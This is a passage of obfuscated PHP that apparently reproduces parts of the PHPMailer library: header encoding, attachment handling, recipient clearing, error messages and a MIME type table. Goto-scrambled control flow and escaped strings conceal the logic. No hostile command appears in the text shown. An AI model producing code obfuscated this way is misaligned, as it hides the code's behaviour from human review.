(preg_match("\x2f\133\x5c\x32\x30\60\55\134\63\67\67\135\57", $str)) { goto s60Da; } goto pTvum; pTvum: $encoded = addcslashes($str, "\x0\x2e\56\x1f\x7f\134\x22"); goto JE9kv; QjBVi: return "\x22{$encoded}\42"; goto sxSWX; NuY3A: return $encoded; goto NY2zx; rc_FI: case "\143\157\x6d\x6d\x65\x6e\x74": $matchcount = preg_match_all("\57\x5b\50\51\x22\x5d\57", $str, $matches); case "\x74\x65\x78\164": default: $matchcount += preg_match_all("\x2f\133\134\x30\x30\60\55\134\60\x31\60\x5c\60\x31\63\x5c\x30\61\x34\134\x30\61\x36\55\134\x30\x33\x37\x5c\x31\x37\67\55\x5c\x33\67\67\135\57", $str, $matches); goto Nba9l; } goto XrTns; gVbBV: return $str; goto sGNUf; JtZJt: $maxlen -= $maxlen % 4; goto QiZTz; QLDl9: $matchcount = 0; goto Pmplk; eatYf: $encoded = preg_replace("\57\x5e\x28\56\52\51\x24\57\x6d", "\40\75\x3f" . $this->CharSet . "\77{$encoding}\77\134\x31\77\x3d", $encoded); goto oCf14; Dx7Rp: $encoded = trim(chunk_split($str, static::STD_LINE_LENGTH, static::$LE)); goto BkXul; R264B: if (strlen($str) > $maxlen) { goto IcUWn; } goto gVbBV; ouGHM: $encoding = "\x51"; goto Ar_Ks; BkXul: ywdn0: goto kY_V3; wMnsL: Nba9l: goto wPHvE; pcrl5: $maxlen = static::STD_LINE_LENGTH - $lengthsub - 8 - strlen($this->CharSet); goto AgKi2; OiwSv: $encoded = preg_replace("\x2f\x5e\x28\x2e\52\x29\44\x2f\x6d", "\x20\x5c\61", $encoded); goto lz9ZJ; O_vWt: $encoding = "\102"; goto pcrl5; ZuCfs: $encoded = $this->encodeQ($str, $position); goto c7uv3; zfBIY: yWGT2: goto veD1Q; pctwE: $encoded = trim($this->wrapText($str, $maxlen, false)); goto mAwUX; WzpTB: $maxlen = static::STD_LINE_LENGTH - $lengthsub; goto HNlOO; QiZTz: $encoded = trim(chunk_split($encoded, $maxlen, "\12")); goto Cr5TI; XrTns: GdzWK: goto wMnsL; lz9ZJ: UtPGg: goto kis6k; nO0Dz: $encoded = str_replace("\75" . static::$LE, "\12", trim($encoded)); goto eatYf; c7uv3: $encoded = $this->wrapText($encoded, $maxlen, true); goto nO0Dz; VHm7a: $encoded = preg_replace("\x2f\136\x28\56\x2a\51\x24\x2f\155", "\40\75\x3f" . $this->CharSet . "\x3f{$encoding}\x3f\134\x31\x3f\x3d", $encoded); goto IL5zd; HNlOO: if ($matchcount > strlen($str) / 3) { goto d1KVx; } goto rgFuG; mGsOD: $encoded = base64_encode($str); goto JtZJt; Qva6b: onOtB: goto VHm7a; TNs97: d1KVx: goto O_vWt; kY_V3: $encoded = str_replace(static::$LE, "\xa", trim($encoded)); goto OiwSv; rgFuG: if ($matchcount > 0) { goto pgveh; } goto R264B; Cr5TI: goto onOtB; goto zfBIY; AgKi2: if ($this->hasMultiBytes($str)) { goto yWGT2; } goto mGsOD; NKhpS: } public function hasMultiBytes($str) { goto nY_y2; nY_y2: if (!function_exists("\x6d\x62\137\x73\x74\162\x6c\x65\156")) { goto aukbs; } goto TqSFW; p6I5u: aukbs: goto agu5l; TqSFW: return strlen($str) > mb_strlen($str, $this->CharSet); goto p6I5u; agu5l: return false; goto zeAyY; zeAyY: } public function has8bitChars($text) { return (bool) preg_match("\x2f\x5b\134\x78\x38\x30\x2d\134\x78\x46\x46\135\57", $text); } public function base64EncodeWrapMB($str, $linebreak = null) { goto LhJ7U; EKoh2: $i = 0; goto R_IRu; qGhOG: jkJq4: goto gW0Y8; D0TxG: $offset = $avgLength - $lookBack; goto Q9lm_; Q9lm_: $chunk = mb_substr($str, $i, $offset, $this->CharSet); goto LBN2h; LhJ7U: $start = "\75\x3f" . $this->CharSet . "\x3f\102\x3f"; goto OTGxE; OTGxE: $end = "\x3f\x3d"; goto JXZFN; HZ0CP: jAz3d: goto d9pBv; fZWOb: if (!(null === $linebreak)) { goto N_2RV; } goto WMB33; HI3Ar: goto nlBZY; goto qGhOG; d9pBv: $encoded .= $chunk . $linebreak; goto EJm8I; mvKjs: Al63f: goto D0TxG; WMB33: $linebreak = static::$LE; goto QNjB5; MmGd7: $lookBack = 0; goto mvKjs; LBN2h: $chunk = base64_encode($chunk); goto uyaUE; EJm8I: gFR0S: goto QUyxv; QUyxv: $i += $offset; goto HI3Ar; n2gN_: if (!($i < $mb_length)) { goto jkJq4; } goto MmGd7; pOBFW: $mb_length = mb_strlen($str, $this->CharSet); goto UlNha; R_IRu: nlBZY: goto n2gN_; UlNha: $length = 75 - strlen($start) - strlen($end); goto GBDJI; gW0Y8: return substr($encoded, 0, -strlen($linebreak)); goto sh1lK; uyaUE: ++$lookBack; goto M9L4L; M9L4L: if (strlen($chunk) > $length) { goto Al63f; } goto HZ0CP; GBDJI: $ratio = $mb_length / strlen($str); goto re2zR; QNjB5: N_2RV: goto pOBFW; re2zR: $avgLength = floor($length * $ratio * 0.75); goto EKoh2; JXZFN: $encoded = ''; goto fZWOb; sh1lK: } public function encodeQP($string) { return static::normalizeBreaks(quoted_printable_encode($string)); } public function encodeQ($str, $position = "\x74\145\x78\164") { goto aBrwg; ZlTfJ: foreach (array_unique($matches[0]) as $char) { $encoded = str_replace($char, "\x3d" . sprintf("\x25\x30\x32\x58", ord($char)), $encoded); fs4zv: } goto wrQqU; DQK3u: array_unshift($matches[0], "\x3d"); goto i2yC8; q9WEB: dz8Gv: goto Sdk9w; aBrwg: $pattern = ''; goto DqfG8; K_22G: unset($matches[0][$eqkey]); goto DQK3u; sRg3N: k8Y2U: goto YsZnU; DqfG8: $encoded = str_replace(["\xd", "\xa"], '', $str); goto ze0bl; YsZnU: return str_replace("\40", "\x5f", $encoded); goto og0CU; CfZNA: jvvbb: goto q9WEB; ze0bl: switch (strtolower($position)) { case "\160\150\162\141\x73\145": $pattern = "\x5e\101\55\132\x61\55\x7a\60\x2d\x39\x21\x2a\x2b\x5c\57\x20\x2d"; goto dz8Gv; case "\x63\157\x6d\155\145\x6e\x74": $pattern = "\134\50\134\51\42"; case "\x74\x65\x78\x74": default: $pattern = "\134\x30\x30\60\x2d\134\x30\x31\x31\134\x30\x31\x33\134\x30\61\64\x5c\60\61\x36\55\x5c\60\x33\67\134\x30\67\x35\x5c\x30\67\x37\x5c\61\63\67\x5c\x31\67\x37\x2d\x5c\63\67\67" . $pattern; goto dz8Gv; } goto CfZNA; wrQqU: DWhef: goto sRg3N; tfyhS: if (!(false !== $eqkey)) { goto X8XtH; } goto K_22G; i2yC8: X8XtH: goto ZlTfJ; Sdk9w: $matches = []; goto ex89V; mDaUY: $eqkey = array_search("\x3d", $matches[0]); goto tfyhS; ex89V: if (!preg_match_all("\x2f\x5b{$pattern}\135\x2f", $encoded, $matches)) { goto k8Y2U; } goto mDaUY; og0CU: } public function addStringAttachment($string, $filename, $encoding = self::ENCODING_BASE64, $type = '', $disposition = "\141\x74\164\141\x63\150\155\x65\x6e\164") { goto FY4mq; ZK29J: $type = static::filenameToType($filename); goto DmyhI; FY4mq: if (!('' == $type)) { goto h2BOi; } goto ZK29J; i1asj: $this->attachment[] = [0 => $string, 1 => $filename, 2 => basename($filename), 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => 0]; goto JKBSU; DmyhI: h2BOi: goto i1asj; JKBSU: } public function addEmbeddedImage($path, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = "\x69\156\x6c\151\x6e\x65") { goto XryYZ; N_MBD: if (!('' == $type)) { goto ViR8y; } goto cEUDA; WxQnG: uNTVB: goto efEZD; cEUDA: $type = static::filenameToType($path); goto x9CHP; wt9CD: if (!('' == $name)) { goto uNTVB; } goto ftUpM; VCvc0: $filename = basename($path); goto wt9CD; D5SB6: return false; goto fnKB2; fnKB2: zMIN9: goto N_MBD; FznSE: return true; goto kC1eW; ftUpM: $name = $filename; goto WxQnG; XryYZ: if (!(!static::isPermittedPath($path) || !@is_file($path))) { goto zMIN9; } goto Uyl3Q; x9CHP: ViR8y: goto VCvc0; efEZD: $this->attachment[] = [0 => $path, 1 => $filename, 2 => $name, 3 => $encoding, 4 => $type, 5 => false, 6 => $disposition, 7 => $cid]; goto FznSE; Uyl3Q: $this->setError($this->lang("\146\x69\x6c\145\137\x61\143\143\x65\x73\x73") . $path); goto D5SB6; kC1eW: } public function addStringEmbeddedImage($string, $cid, $name = '', $encoding = self::ENCODING_BASE64, $type = '', $disposition = "\151\156\x6c\151\156\145") { goto pxhgu; pxhgu: if (!('' == $type and !empty($name))) { goto Ml6xp; } goto tkf6H; tkf6H: $type = static::filenameToType($name); goto MORxA; MORxA: Ml6xp: goto XnR6j; tBENX: return true; goto bUQr4; XnR6j: $this->attachment[] = [0 => $string, 1 => $name, 2 => $name, 3 => $encoding, 4 => $type, 5 => true, 6 => $disposition, 7 => $cid]; goto tBENX; bUQr4: } protected function cidExists($cid) { goto eUEnU; e_CRH: return false; goto DQBHL; eUEnU: foreach ($this->attachment as $attachment) { goto qrU0Z; S92cT: LXepr: goto Ejlx5; z76yu: z2rZv: goto S92cT; PK8_L: return true; goto z76yu; qrU0Z: if (!("\x69\x6e\154\151\156\x65" == $attachment[6] and $cid == $attachment[7])) { goto z2rZv; } goto PK8_L; Ejlx5: } goto ciBTw; ciBTw: pqmii: goto e_CRH; DQBHL: } public function inlineImageExists() { goto QJLBt; n1Swz: return false; goto P_ijg; QJLBt: foreach ($this->attachment as $attachment) { goto p52zQ; top_b: return true; goto IjhP_; IjhP_: QKoF9: goto uhEKk; p52zQ: if (!("\151\156\154\x69\x6e\145" == $attachment[6])) { goto QKoF9; } goto top_b; uhEKk: khNWW: goto AkeyC; AkeyC: } goto LdoZZ; LdoZZ: b74gs: goto n1Swz; P_ijg: } public function attachmentExists() { goto ahcUd; ahcUd: foreach ($this->attachment as $attachment) { goto n6M2k; nL0jb: ihVM3: goto KcszE; wHB34: return true; goto nL0jb; n6M2k: if (!("\141\164\164\141\x63\x68\155\x65\x6e\x74" == $attachment[6])) { goto ihVM3; } goto wHB34; KcszE: jvzAI: goto hQza4; hQza4: } goto TC_V6; TC_V6: TTqSA: goto mA9vs; mA9vs: return false; goto Ma8Cu; Ma8Cu: } public function alternativeExists() { return !empty($this->AltBody); } public function clearQueuedAddresses($kind) { $this->RecipientsQueue = array_filter($this->RecipientsQueue, function ($params) use($kind) { return $params[0] != $kind; }); } public function clearAddresses() { goto f1U4x; f1U4x: foreach ($this->to as $to) { unset($this->all_recipients[strtolower($to[0])]); WelkQ: } goto pBfb5; pBfb5: Il8Ed: goto wcjLv; wcjLv: $this->to = []; goto IHHvh; IHHvh: $this->clearQueuedAddresses("\x74\x6f"); goto tfEgi; tfEgi: } public function clearCCs() { goto nBMjO; nBMjO: foreach ($this->cc as $cc) { unset($this->all_recipients[strtolower($cc[0])]); DQCdl: } goto i32Uw; rGiic: $this->clearQueuedAddresses("\143\x63"); goto QwhRn; i32Uw: EeXgQ: goto YWa81; YWa81: $this->cc = []; goto rGiic; QwhRn: } public function clearBCCs() { goto gRc7D; vM7c5: m3O3O: goto aoqV7; Qh6En: $this->clearQueuedAddresses("\142\143\x63"); goto iCxHz; gRc7D: foreach ($this->bcc as $bcc) { unset($this->all_recipients[strtolower($bcc[0])]); XiuT2: } goto vM7c5; aoqV7: $this->bcc = []; goto Qh6En; iCxHz: } public function clearReplyTos() { $this->ReplyTo = []; $this->ReplyToQueue = []; } public function clearAllRecipients() { goto S0abw; RRrkK: $this->cc = []; goto MahMT; S0abw: $this->to = []; goto RRrkK; IPcMt: $this->RecipientsQueue = []; goto QBtVC; MahMT: $this->bcc = []; goto nTD0g; nTD0g: $this->all_recipients = []; goto IPcMt; QBtVC: } public function clearAttachments() { $this->attachment = []; } public function clearCustomHeaders() { $this->CustomHeader = []; } protected function setError($msg) { goto lrrQ7; r3Lr1: $msg .= "\40\x41\144\144\x69\x74\151\x6f\x6e\x61\154\x20\123\115\x54\120\x20\x69\156\146\157\x3a\x20" . $lasterror["\x73\155\x74\160\x5f\x63\157\x64\x65\x5f\x65\170"]; goto EUBNF; YGVFi: hqWLU: goto tfhO3; emwCQ: NG8XZ: goto YGVFi; H9MLB: if (empty($lasterror["\145\x72\162\x6f\162"])) { goto NG8XZ; } goto aNu8b; Myg3F: $msg .= "\40\x53\115\124\x50\x20\143\157\x64\x65\x3a\x20" . $lasterror["\163\155\x74\160\x5f\x63\157\144\145"]; goto gknR0; rcdi0: if (empty($lasterror["\x73\155\164\160\x5f\143\157\144\145"])) { goto qKP9R; } goto Myg3F; CAOcc: $msg .= "\x20\104\x65\x74\x61\151\x6c\72\x20" . $lasterror["\144\145\164\141\x69\154"]; goto xXMGJ; aNu8b: $msg .= $this->lang("\163\155\x74\160\x5f\145\x72\x72\157\x72") . $lasterror["\145\162\x72\157\x72"]; goto gc4m1; lrrQ7: ++$this->error_count; goto Tyb60; xXMGJ: WJ4BR: goto rcdi0; gGIqU: $lasterror = $this->smtp->getError(); goto H9MLB; Tyb60: if (!("\163\x6d\x74\160" == $this->Mailer and null !== $this->smtp)) { goto hqWLU; } goto gGIqU; kL6WF: if (empty($lasterror["\x73\x6d\x74\x70\x5f\x63\x6f\x64\x65\137\x65\x78"])) { goto PzTlI; } goto r3Lr1; gc4m1: if (empty($lasterror["\144\145\164\141\151\154"])) { goto WJ4BR; } goto CAOcc; EUBNF: PzTlI: goto emwCQ; tfhO3: $this->ErrorInfo = $msg; goto KnQMn; gknR0: qKP9R: goto kL6WF; KnQMn: } public static function rfcDate() { date_default_timezone_set(@date_default_timezone_get()); return date("\x44\x2c\40\152\40\x4d\x20\131\x20\110\72\x69\x3a\163\40\117"); } protected function serverHostname() { goto obkPH; dpaZb: goto yevoD; goto lFnQT; A5FV5: oB2rQ: goto rFEqQ; CDDSR: Nxdln: goto oZpgq; QYV6Y: goto yevoD; goto Yhzor; lFnQT: Aer8n: goto thxTW; oZpgq: $result = $_SERVER["\123\x45\x52\126\105\x52\x5f\116\x41\x4d\x45"]; goto QYV6Y; oVTwh: if (php_uname("\156") !== false) { goto Aer8n; } goto XFDhD; Yhzor: j5Qu1: goto idFRq; pxuyE: goto yevoD; goto CDDSR; obkPH: $result = ''; goto wRCdN; avxpi: return $result; goto JxqyF; FEyz2: yevoD: goto pDIwe; rFEqQ: $result = $this->Hostname; goto pxuyE; J6y58: DJ4VR: goto avxpi; thxTW: $result = php_uname("\156"); goto FEyz2; TlBHx: return "\154\x6f\143\x61\x6c\150\x6f\x73\164\56\154\157\x63\141\x6c\x64\x6f\x6d\x61\x69\x6e"; goto J6y58; pDIwe: if (static::isValidHost($result)) { goto DJ4VR; } goto TlBHx; wRCdN: if (!empty($this->Hostname)) { goto oB2rQ; } goto vPWU_; XFDhD: goto yevoD; goto A5FV5; BZ_JH: if (function_exists("\x67\145\164\150\x6f\x73\164\156\x61\155\x65") and gethostname() !== false) { goto j5Qu1; } goto oVTwh; idFRq: $result = gethostname(); goto dpaZb; vPWU_: if (isset($_SERVER) and array_key_exists("\x53\105\122\126\105\122\x5f\x4e\x41\115\x45", $_SERVER)) { goto Nxdln; } goto BZ_JH; JxqyF: } public static function isValidHost($host) { goto BZUI1; BZUI1: if (!(empty($host) or !is_string($host) or strlen($host) > 256)) { goto sCk_Q; } goto O8n31; iVZrz: return (bool) filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4); goto Jrnth; f9Egb: if (!filter_var("\150\x74\x74\160\x3a\57\x2f" . $host, FILTER_VALIDATE_URL)) { goto x9fEY; } goto N5izG; N5izG: return true; goto ATHlN; ATHlN: x9fEY: goto vfRjS; vfRjS: return false; goto NUiGV; toA4s: sCk_Q: goto wV69u; zm_B1: KFHed: goto qtc45; xPzyD: return (bool) filter_var(trim($host, "\133\x5d"), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6); goto zm_B1; wV69u: if (!(trim($host, "\133\x5d") != $host)) { goto KFHed; } goto xPzyD; O8n31: return false; goto toA4s; qtc45: if (!is_numeric(str_replace("\56", '', $host))) { goto w0Lc_; } goto iVZrz; Jrnth: w0Lc_: goto f9Egb; NUiGV: } protected function lang($key) { goto qw9XW; yfBF7: return $this->language[$key]; goto Bd3g0; UO3un: $this->setLanguage("\145\156"); goto SgC6m; edK7l: if (!array_key_exists($key, $this->language)) { goto hcLuX; } goto z7CYY; haYYt: return $key; goto Twtf6; DC_cC: hcLuX: goto haYYt; SgC6m: IGCVj: goto edK7l; qw9XW: if (!(count($this->language) < 1)) { goto IGCVj; } goto UO3un; z7CYY: if (!("\x73\155\x74\160\137\143\x6f\x6e\x6e\145\x63\164\x5f\x66\141\151\x6c\x65\144" == $key)) { goto EN8iH; } goto yfBF7; Bd3g0: EN8iH: goto rdfal; rdfal: return $this->language[$key]; goto DC_cC; Twtf6: } public function isError() { return $this->error_count > 0; } public function addCustomHeader($name, $value = null) { goto r10ho; r10ho: if (null === $value) { goto dRZMn; } goto n2m6e; X2Sbg: dRZMn: goto t3k3c; n2m6e: $this->CustomHeader[] = [$name, $value]; goto kxD89; kxD89: goto jqBJo; goto X2Sbg; TkQbs: jqBJo: goto EjTQq; t3k3c: $this->CustomHeader[] = explode("\x3a", $name, 2); goto TkQbs; EjTQq: } public function getCustomHeaders() { return $this->CustomHeader; } public function msgHTML($message, $basedir = '', $advanced = false) { goto crPDC; i7VkL: $this->AltBody = "\124\150\151\x73\40\151\x73\x20\x61\x6e\40\x48\124\x4d\114\55\x6f\156\x6c\171\40\x6d\145\x73\x73\x61\147\x65\56\x20\124\157\40\x76\151\145\x77\40\x69\164\54\x20\x61\x63\164\151\166\x61\164\x65\x20\x48\x54\115\x4c\40\151\x6e\40\171\x6f\165\x72\x20\145\155\x61\151\x6c\x20\x61\x70\160\154\151\143\x61\x74\x69\x6f\156\x2e" . static::$LE; goto HZXY3; LSW_r: Uamg3: goto uHqsb; e2uRf: if ($this->alternativeExists()) { goto Y0ep6; } goto i7VkL; D_7NH: if (!(strlen($basedir) > 1 && "\x2f" != substr($basedir, -1))) { goto hPzZL; } goto azWaf; azbVD: hPzZL: goto xQSAj; w_ZwK: if (!array_key_exists(2, $images)) { goto Uamg3; } goto D_7NH; azWaf: $basedir .= "\57"; goto azbVD; uHqsb: $this->isHTML(true); goto LASfA; crPDC: preg_match_all("\x2f\50\163\x72\x63\x7c\142\141\x63\x6b\147\x72\157\165\156\144\x29\x3d\x5b\42\x27\135\x28\56\x2a\x29\x5b\x22\47\x5d\57\x55\151", $message, $images); goto w_ZwK; BpsPQ: dL0Nz: goto LSW_r; HZXY3: Y0ep6: goto tBOOz; tBOOz: return $this->Body; goto rT3OC; fMuU5: $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); goto e2uRf; LASfA: $this->Body = static::normalizeBreaks($message); goto fMuU5; xQSAj: foreach ($images[2] as $imgindex => $url) { goto Gr4h4; noPlN: bLTO0: goto Zr8hr; x4wNZ: rYEEK: goto yNB4_; i9Zxx: Qh6Bt: goto f8nNr; N29gP: $cid = hash("\x73\x68\x61\62\65\66", $url) . "\100\160\x68\x70\155\141\151\154\x65\162\x2e\60"; goto afUpM; aaFGq: $this->addStringEmbeddedImage($data, $cid, "\145\x6d\x62\x65\144" . $imgindex, static::ENCODING_BASE64, $match[1]); goto noPlN; ofngw: goto QCSE_; goto FQuDn; XjhfK: $directory = dirname($url); goto SCt8m; afUpM: if (!(strlen($basedir) > 1 and "\57" != substr($basedir, -1))) { goto PX5BZ; } goto xRdA1; dACR8: $data = rawurldecode($match[3]); goto Cj4Kz; Cj4Kz: QCSE_: goto uWJAH; xRdA1: $basedir .= "\57"; goto UWokw; FQuDn: Xoh6S: goto dACR8; UaSFo: $directory = ''; goto A9Tpt; cjVtU: goto rYEEK; goto vtf7B; Xqxbw: $data = base64_decode($match[3]); goto ofngw; f8nNr: if (!$this->addEmbeddedImage($basedir . $directory . $filename, $cid, $filename, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)))) { goto g2eOV; } goto uztfb; oZSgW: if ($this->cidExists($cid)) { goto bLTO0; } goto aaFGq; Zr8hr: $message = str_replace($images[0][$imgindex], $images[1][$imgindex] . "\75\x22\143\x69\144\72" . $cid . "\x22", $message); goto YIES_; HasSJ: $filename = basename($url); goto XjhfK; lSQtt: if ('' == $match[2]) { goto Xoh6S; } goto cjVtU; SCt8m: if (!("\56" == $directory)) { goto vVCT6; } goto UaSFo; UWokw: PX5BZ: goto ld3or; vcwBl: if (!(!empty($basedir) and strpos($url, "\x2e\56") === false and 0 !== strpos($url, "\143\151\x64\x3a") and !preg_match("\43\x5e\x5b\141\x2d\172\135\133\141\x2d\x7a\x30\x2d\71\53\56\55\x5d\x2a\72\x3f\57\x2f\43\x69", $url))) { goto ydf_d; } goto HasSJ; wIMHR: ydf_d: goto x4wNZ; YIES_: goto rYEEK; goto l8HDx; vtf7B: goto QCSE_; goto G1eE4; TGEVP: g2eOV: goto wIMHR; Gr4h4: if (!preg_match("\x23\x5e\144\x61\164\141\72\50\151\x6d\141\x67\x65\x2f\50\x3f\72\152\160\145\x3f\x67\x7c\x67\x69\146\x7c\160\x6e\147\51\51\73\77\x28\142\x61\163\x65\66\64\x29\x3f\x2c\x28\x2e\53\x29\43", $url, $match)) { goto k2FDn; } goto UG9Q8; UG9Q8: if (count($match) == 4 and static::ENCODING_BASE64 == $match[2]) { goto Q_i4Q; } goto lSQtt; uztfb: $message = preg_replace("\x2f" . $images[1][$imgindex] . "\75\x5b\x22\x27\x5d" . preg_quote($url, "\x2f") . "\x5b\x22\47\x5d\x2f\125\x69", $images[1][$imgindex] . "\75\x22\x63\151\x64\72" . $cid . "\x22", $message); goto TGEVP; uWJAH: $cid = hash("\x73\x68\141\x32\65\x36", $data) . "\x40\160\x68\x70\x6d\x61\151\x6c\x65\x72\56\x30"; goto oZSgW; l8HDx: k2FDn: goto vcwBl; uoUPk: $directory .= "\x2f"; goto i9Zxx; G1eE4: Q_i4Q: goto Xqxbw; ld3or: if (!(strlen($directory) > 1 and "\57" != substr($directory, -1))) { goto Qh6Bt; } goto uoUPk; A9Tpt: vVCT6: goto N29gP; yNB4_: } goto BpsPQ; rT3OC: } public function html2text($html, $advanced = false) { goto pr5yy; pr5yy: if (!is_callable($advanced)) { goto yIyxr; } goto M7qj5; M7qj5: return call_user_func($advanced, $html); goto BtMPa; bU3sx: return html_entity_decode(trim(strip_tags(preg_replace("\x2f\74\x28\x68\145\141\144\x7c\164\x69\164\x6c\x65\x7c\163\164\x79\x6c\145\x7c\x73\x63\x72\x69\x70\x74\51\x5b\136\x3e\x5d\x2a\76\x2e\x2a\x3f\x3c\134\x2f\x5c\61\76\x2f\163\151", '', $html))), ENT_QUOTES, $this->CharSet); goto dC8ex; BtMPa: yIyxr: goto bU3sx; dC8ex: } public static function _mime_types($ext = '') { goto dx0PL; dpP2I: return $mimes[$ext]; goto axXrx; Jm5zB: return "\x61\x70\160\154\x69\143\141\164\x69\x6f\156\x2f\157\143\x74\145\164\x2d\163\x74\x72\x65\141\155"; goto J4Fti; axXrx: Fz1e5: goto Jm5zB; OE14D: if (!array_key_exists($ext, $mimes)) { goto Fz1e5; } goto dpP2I; dx0PL: $mimes = ["\170\154" => "\141\160\160\154\x69\143\141\164\x69\x6f\156\x2f\x65\170\143\145\154", "\x6a\x73" => "\141\160\160\154\x69\x63\141\x74\x69\x6f\156\57\x6a\x61\x76\141\x73\143\x72\x69\160\164", "\150\x71\170" => "\141\160\160\x6c\151\x63\141\x74\151\157\x6e\x2f\155\x61\x63\x2d\142\151\156\x68\x65\x78\64\x30", "\x63\160\x74" => "\x61\160\x70\x6c\151\x63\141\x74\x69\157\156\x2f\155\x61\143\x2d\143\157\155\x70\x61\x63\x74\x70\x72\157", "\x62\151\x6e" => "\x61\160\160\x6c\151\143\x61\164\x69\x6f\156\x2f\x6d\x61\x63\x62\151\x6e\141\162\171", "\144\x6f\x63" => "\141\160\x70\x6c\151\x63\x61\164\x69\157\x6e\x2f\155\163\x77\157\162\144", "\167\x6f\162\144" => "\x61\x70\160\154\151\x63\141\164\x69\x6f\156\x2f\x6d\x73\x77\x6f\x72\x64", "\x78\154\x73\170" => "\141\160\160\154\x69\143\141\164\151\157\156\x2f\x76\156\144\x2e\x6f\x70\x65\156\x78\x6d\154\146\157\162\x6d\x61\x74\163\x2d\157\146\146\x69\143\145\144\157\x63\165\155\x65\156\x74\x2e\x73\160\162\x65\x61\x64\163\150\x65\145\164\155\x6c\x2e\163\150\x65\x65\x74", "\170\x6c\x74\170" => "\x61\160\x70\x6c\151\143\141\164\151\x6f\x6e\57\x76\156\x64\56\x6f\x70\145\x6e\170\x6d\x6c\x66\157\x72\x6d\141\x74\x73\x2d\x6f\x66\146\151\x63\145\x64\x6f\143\x75\155\x65\156\x74\56\x73\160\x72\145\141\144\163\x68\x65\145\x74\x6d\x6c\56\x74\x65\x6d\x70\x6c\141\164\x65", "\x70\157\164\x78" => "\141\x70\160\x6c\151\x63\141\x74\x69\x6f\156\x2f\166\x6e\x64\56\157\160\x65\x6e\170\155\x6c\146\157\162\155\x61\164\x73\55\157\x66\146\151\143\145\144\x6f\x63\x75\x6d\145\156\164\56\x70\x72\145\x73\x65\x6e\x74\x61\164\x69\x6f\x6e\x6d\154\56\x74\145\x6d\x70\x6c\x61\x74\145", "\160\x70\x73\x78" => "\x61\160\x70\x6c\151\x63\x61\164\151\x6f\156\x2f\x76\x6e\x64\56\x6f\160\145\156\170\155\154\x66\x6f\x72\x6d\141\164\163\x2d\x6f\x66\x66\151\x63\x65\x64\x6f\x63\165\x6d\145\x6e\x74\56\x70\x72\145\x73\145\x6e\164\141\164\x69\157\x6e\155\154\x2e\x73\x6c\151\144\145\x73\150\157\x77", "\160\x70\x74\170" => "\141\x70\x70\154\151\x63\x61\x74\151\157\156\57\x76\x6e\x64\x2e\x6f\x70\x65\x6e\170\155\154\x66\x6f\162\x6d\141\164\x73\55\157\x66\x66\151\143\x65\144\157\143\x75\155\145\156\164\x2e\160\x72\145\163\x65\x6e\164\x61\164\x69\x6f\x6e\155\154\56\160\162\x65\163\145\156\x74\141\x74\x69\x6f\x6e", "\x73\154\x64\x78" => "\141\160\160\x6c\151\143\x61\x74\x69\x6f\x6e\57\166\x6e\x64\56\157\160\x65\x6e\x78\155\x6c\x66\x6f\x72\155\141\x74\x73\55\x6f\x66\146\x69\143\145\144\x6f\x63\x75\x6d\x65\x6e\x74\56\x70\x72\x65\163\145\156\x74\x61\164\x69\x6f\x6e\x6d\x6c\56\163\x6c\151\x64\x65", "\144\x6f\143\x78" => "\141\160\x70\154\x69\x63\x61\x74\151\x6f\x6e\57\x76\x6e\x64\x2e\157\160\x65\156\170\155\x6c\146\x6f\162\x6d\x61\x74\x73\x2d\157\146\146\x69\x63\145\144\157\x63\165\155\145\x6e\x74\56\x77\157\x72\x64\160\162\157\143\x65\x73\163\151\x6e\x67\155\154\x2e\x64\157\x63\x75\x6d\145\x6e\x74", "\144\x6f\x74\170" => "\x61\160\x70\x6c\x69\x63\141\x74\x69\x6f\156\x2f\x76\x6e\144\56\157\x70\x65\x6e\170\x6d\x6c\146\x6f\x72\155\141\164\x73\x2d\157\146\146\x69\143\145\x64\x6f\143\165\x6d\x65\x6e\x74\x2e\x77\157\162\x64\x70\162\157\x63\145\163\x73\151\x6e\147\x6d\x6c\56\x74\145\155\160\154\x61\164\x65", "\x78\154\141\155" => "\141\160\160\x6c\151\x63\x61\x74\151\x6f\x6e\x2f\166\156\144\56\x6d\x73\55\x65\x78\143\x65\x6c\56\141\x64\x64\x69\x6e\56\155\141\x63\x72\x6f\105\x6e\x61\142\x6c\145\x64\56\61\x32", "\x78\x6c\x73\142" => "\141\160\160\x6c\x69\143\x61\x74\x69\x6f\156\x2f\166\x6e\x64\x2e\x6d\x73\55\145\170\x63\145\x6c\56\x73\150\x65\145\x74\56\142\151\156\x61\162\171\56\155\141\143\x72\x6f\x45\x6e\141\142\154\145\x64\56\x31\62", "\x63\x6c\141\163\x73" => "\141\160\x70\x6c\x69\x63\x61\164\151\x6f\156\x2f\x6f\143\x74\145\164\x2d\163\164\162\145\x61\155", "\x64\154\x6c" => "\x61\x70\x70\x6c\151\x63\141\x74\151\x6f\x6e\x2f\157\143\x74\x65\164\x2d\163\x74\162\x65\x61\x6d", "\x64\x6d\163" => "\x61\x70\160\x6c\x69\143\x61\x74\151\157\156\x2f\157\x63\x74\145\164\x2d\163\x74\162\x65\x61\155", "\145\170\145" => "\141\x70\160\154\x69\x63\141\164\151\x6f\156\x2f\x6f\143\164\x65\164\x2d\x73\164\x72\x65\141\155", "\x6c\x68\141" => "\141\160\160\154\151\x63\141\164\151\157\156\x2f\x6f\x63\x74\x65\164\x2d\163\x74\x72\145\141\x6d", "\154\172\x68" => "\x61\160\160\x6c\151\143\x61\x74\151\157\156\57\x6f\x63\x74\145\x74\x2d\x73\164\162\145\141\x6d", "\160\163\x64" => "\141\160\x70\154\151\143\141\x74\x69\x6f\156\x2f\x6f\143\x74\145\x74\x2d\x73\x74\162\x65\141\x6d", "\163\x65\141" => "\x61\160\160\154\x69\x63\x61\x74\x69\x6f\156\57\157\143\164\145\x74\x2d\163\x74\x72\145\x61\x6d", "\163\157" => "\x61\x70\x70\x6c\151\143\x61\164\x69\157\x6e\57\x6f\x63\164\145\164\x2d\x73\x74\162\x65\141\155", "\157\x64\x61" => "\141\160\160\154\151\x63\x61\164\151\157\x6e\57\x6f\x64\141", "\160\144\146" => "\x61\160\160\x6c\x69\143\141\x74\151\157\156\57\x70\144\x66", "\141\x69" => 